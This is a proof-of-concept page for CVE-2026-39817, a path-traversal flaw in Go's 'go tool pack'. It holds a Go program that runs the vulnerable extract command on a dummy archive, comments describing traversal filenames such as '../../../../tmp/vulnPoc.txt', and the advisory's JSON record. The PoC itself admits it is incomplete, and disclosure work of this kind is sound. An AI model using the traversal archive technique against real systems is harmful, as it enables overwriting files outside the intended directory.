CVE-2026-39817

// PoC Concept for CVE-2026-39817 // This PoC demonstrates the vulnerability where 'go tool pack' does not sanitize filenames. // Creating a malicious archive with path traversal sequences is required. package main import ( "fmt" "io/ioutil" "os" "os/exec" "path/filepath" ) func main() { fmt.Println("[*] CVE-2026-39817 PoC: Arbitrary File Write via go tool pack") // 1. Create a temporary directory to simulate the victim's environment tmpDir, err := ioutil.TempDir("", "go-pack-poc") if err != nil { panic(err) } defer os.RemoveAll(tmpDir) // 2. Create a malicious file content maliciousContent := []byte("MALICIOUS FILE CONTENT") // 3. Craft a malicious archive file (conceptual) // In a real exploit, one would use the 'ar' tool or a library to create an archive // containing a file with a path traversal name, e.g., '../../tmp/pwned.txt'. // For this PoC, we assume the file 'malicious.a' already exists and contains such a file. // Example creation (if 'ar' is installed): // echo "PWNED" > pwned.txt // ar r malicious.a pwned.txt (This alone isn't enough, need to rename inside archive or manipulate headers) // Since 'go tool pack' uses the AR format, we assume the attacker has crafted 'exploit.a' // which contains a file named '../../../../tmp/vulnPoc.txt'. exploitFile := filepath.Join(tmpDir, "exploit.a") // Simulating the existence of the crafted archive for the PoC execution flow // (Skipping actual binary AR manipulation for script safety, focusing on the trigger) _, _ = ioutil.WriteFile(exploitFile, []byte("dummy_archive_content"), 0644) fmt.Println("[*] Attempting to extract the crafted archive using 'go tool pack'...") // 4. Execute the vulnerable command // The 'x' subcommand extracts the archive. cmd := exec.Command("go", "tool", "pack", "x", exploitFile) cmd.Dir = tmpDir // Run in the temp directory output, err := cmd.CombinedOutput() if err != nil { fmt.Printf("[-] Execution failed (might be due to dummy archive): %v\n", err) fmt.Printf("[*] Output: %s\n", output) fmt.Println("[*] In a real scenario, if the archive contained '../traversal', a file would be written outside the dir.") return } fmt.Printf("[*] Command executed: %s\n", output) // 5. Check for the arbitrary file write (conceptual check) targetPath := "/tmp/vulnPoc.txt" if _, err := os.Stat(targetPath); err == nil { fmt.Printf("[+] SUCCESS! File written to arbitrary path: %s\n", targetPath) } else { fmt.Println("[-] File not found (PoC requires a valid crafted .a file to demonstrate actual write).") } }

{"cve": {"id": "CVE-2026-39817", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:42.983", "lastModified": "2026-05-08T22:16:29.180", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The \"go tool pack\" subcommand (usually used only by the compiler as an internal tool with known-good inputs) does not sanitize output filenames. Extracting a malicious archive file with the \"pack\" subcommand can write files to arbitrary locations on the filesystem."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.5, "impactScore": 4.0}]}, "references": [{"url": "https://go.dev/cl/767520", "source": "[email protected]"}, {"url": "https://go.dev/issue/78778", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4979", "source": "[email protected]"}]}}